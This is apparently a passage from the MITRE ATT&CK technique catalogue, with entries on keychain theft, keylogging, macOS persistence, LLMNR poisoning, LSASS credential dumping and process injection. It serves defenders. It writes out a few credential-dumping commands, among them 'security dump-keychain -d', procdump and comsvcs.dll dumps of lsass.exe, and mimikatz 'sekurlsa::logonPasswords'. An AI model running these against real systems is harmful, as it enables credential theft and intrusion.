A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() Native API function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
T1555.001KeychainAdversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.

Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains//Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)

Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)
T1142KeychainKeychains are the built-in way for macOS to keep track of users’ passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
T1056.001KeyloggingAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)
T1570Lateral Tool TransferAdversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.(Citation: Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp.
T1543.001Launch AgentAdversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents/Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the LabelProgramArguments , and RunAtLoad keys to identify the Launch Agent’s name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

Launch Agents can also be executed using the Launchctl command.

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)
T1159Launch AgentPer Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents/Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
T1543.004Launch DaemonAdversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)

Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon’s plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
T1160Launch DaemonPer Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
T1152LaunchctlLaunchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l – /Path/to/thing/to/execute “arg” “arg” “arg”. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
T1569.001LaunchctlAdversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

Adversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w “%s/Library/LaunchAgents/%s” or /bin/launchctl load to execute Launch Agents or Launch Daemons.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
T1053.004LaunchdThis technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.

Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
T1161LC_LOAD_DYLIB AdditionMach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).
T1546.006LC_LOAD_DYLIB AdditionAdversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)
T1149LC_MAIN HijackingThis technique has been deprecated and should no longer be used.

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
T1608.005Link TargetAdversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.

Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Link shortening services can also be employed. Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)
T1222.002Linux and Mac File and Directory Permissions ModificationAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Unix Shell Configuration Modification or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.(Citation: 20 macOS Common Tools and Techniques)
T1055.015ListPlantingAdversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application’s list-view settings are stored within the process’ memory in a SysListView32 control.

ListPlanting (a form of message-passing “shatter attack”) may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other Process Injection methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)

Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.
T1171LLMNR/NBT-NS Poisoning and RelayLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)
T1557.001LLMNR/NBT-NS Poisoning and SMB RelayBy responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)
T1087.001Local AccountAdversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.
T1136.001Local AccountAdversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username.(Citation: cisco_username_cmd)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
T1078.003Local AccountsAdversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.
T1074.001Local Data StagingAdversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)
T1114.001Local Email CollectionAdversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in C:\Users\<username>\Documents\Outlook Files or C:\Users\<username>\AppData\Local\Microsoft\Outlook.(Citation: Microsoft Outlook Files)
T1069.001Local GroupsAdversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.
T1168Local Job SchedulingOn Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task/Job on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

### cron

System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

### at

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

### launchd

Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
T1037.002Login HookAdversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)

Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)

Note: Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent
T1162Login ItemMacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like AppleScript can do this as well (Citation: Adding Login Items).
T1547.015Login ItemsAdversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.

Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
T1037.001Logon Script (Windows)Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
T1003.004LSA SecretsAdversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
T1177LSASS DriverThe Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.
T1547.008LSASS DriverAdversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.
T1003.001LSASS MemoryAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:

- sekurlsa::Minidump lsassdump.dmp
- sekurlsa::logonPasswords

Built-in Windows tools such as comsvcs.dll can also be used:

- rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
T1071.003Mail ProtocolsAdversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1134.003Make and Impersonate TokenAdversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session’s access token and the adversary can use SetThreadToken to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.
T1204.002Malicious FileAn adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
T1204.003Malicious ImageAdversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

